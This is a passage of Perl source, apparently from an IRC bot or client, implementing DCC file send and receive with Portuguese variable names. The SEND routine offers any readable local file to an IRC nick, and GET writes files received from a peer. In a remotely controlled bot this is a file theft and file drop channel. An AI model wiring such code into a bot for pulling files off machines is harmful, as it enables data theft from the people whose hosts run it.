$fh->close;
$dcc_sel->remove($fh);
$DCC{$fh}{status} = "Enviado";
$DCC{$fh}{ftime} = time;
next;
}
open(SENDFILE, "< $arquivo");
seek(SENDFILE, $bytes_sended, 0);
my $send_bytes;
read(SENDFILE, $send_bytes, 1024);
print $fh "$send_bytes";
close(SENDFILE);
}
}
}


sub SEND {
my ($nick, $arquivo) = @_;
unless (-r "$arquivo") {
return(0);
}

my $dccark = $arquivo;
$dccark =~ s/[.*\/](\S+)/$1/;

my $meuip = $::irc_servers{"$::IRC_cur_socket"}{'meuip'};
my $longip = unpack("N",inet_aton($meuip));

my @filestat = stat($arquivo);
my $size_total=$filestat[7];
if ($size_total == 0) {
return(0);
}

my ($porta, $sendsock);
do {
$porta = int rand(64511);
$porta += 1024;
$sendsock = IO::Socket::INET->new(Listen=>1, LocalPort =>$porta, Proto => 'tcp') and $dcc_sel->add($sendsock);
} until $sendsock;

$DCC{$sendsock}{tipo} = 'send';
$DCC{$sendsock}{nick} = $nick;
$DCC{$sendsock}{bytes} = $size_total;
$DCC{$sendsock}{arquivo} = $arquivo;


&::ctcp("$nick", "DCC SEND $dccark $longip $porta $size_total");

}

sub GET {
my ($arquivo, $dcclongip, $dccporta, $bytes, $nick) = @_;
return(0) if (-e "$arquivo");
if (open(FILE, "> $arquivo")) {
close FILE;
} else {
return(0);
}

my $dccip=fixaddr($dcclongip);
return(0) if ($dccporta < 1024 or not defined $dccip or $bytes < 1);
my $dccsock = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>$dccip, PeerPort=>$dccporta, Timeout=>15) or return (0);
$dccsock->autoflush(1);
$dcc_sel->add($dccsock);
$DCC{$dccsock}{tipo} = 'get';
$DCC{$dccsock}{itime} = time;
$DCC{$dccsock}{nick} = $nick;
$DCC{$dccsock}{bytes} = $bytes;
$DCC{$dccsock}{curbyte} = 0;
$DCC{$dccsock}{arquivo} = $arquivo;
$DCC{$dccsock}{ip} = $dccip;
$DCC{$dccsock}{porta} = $dccporta;
$DCC{$dccsock}{status} = "Recebendo";
}

sub Status {
my $socket = shift;
my $sock_tipo = $DCC{$socket}{tipo};
unless (lc($sock_tipo) eq "chat") {
my $nick = $DCC{$socket}{nick};
my $arquivo = $DCC{$socket}{arquivo};
my $itime = $DCC{$socket}{itime};
my $ftime = time;
my $status = $DCC{$socket}{status};
$ftime = $DCC{$socket}{ftime} if defined($DCC{$socket}{ftime});

my $d_time = $ftime-$itime;

my $cur_byte = $DCC{$socket}{curbyte};
my $bytes_total = $DCC{$socket}{bytes};

my $rate = 0;
$rate = ($cur_byte/1024)/$d_time if $cur_byte > 0;
my $porcen = ($cur_byte*100)/$bytes_total;

my ($r_duv, $p_duv);
if ($rate =~ /^(\d+)\.(\d)(\d)(\d)/) {
$r_duv = $3; $r_duv++ if $4 >= 5;
$rate = "$1\.$2"."$r_duv";
}
if ($porcen =~ /^(\d+)\.(\d)(\d)(\d)/) {
$p_duv = $3; $p_duv++ if $4 >= 5;
$porcen = "$1\.$2"."$p_duv";
}
return("$sock_tipo","$status","$nick","$arquivo","$bytes_total", "$cur_byte","$d_time", "$rate", "$porcen");
}


return(0);
}


sub fixaddr {
my ($address) = @_;

chomp $address;
if ($address =~ /^\d+$/) {
return inet_ntoa(pack "N", $address);
} elsif ($address =~ /^[12]?\d{1,2}\.[12]?\d{1,2}\.[12]?\d{1,2}\.[12]?\d{1,2}$/) {
return $address;
} elsif ($address =~ tr/a-zA-Z//) {
return inet_ntoa(((gethostbyname($address))[4])[0]);
} else {
return;
}
}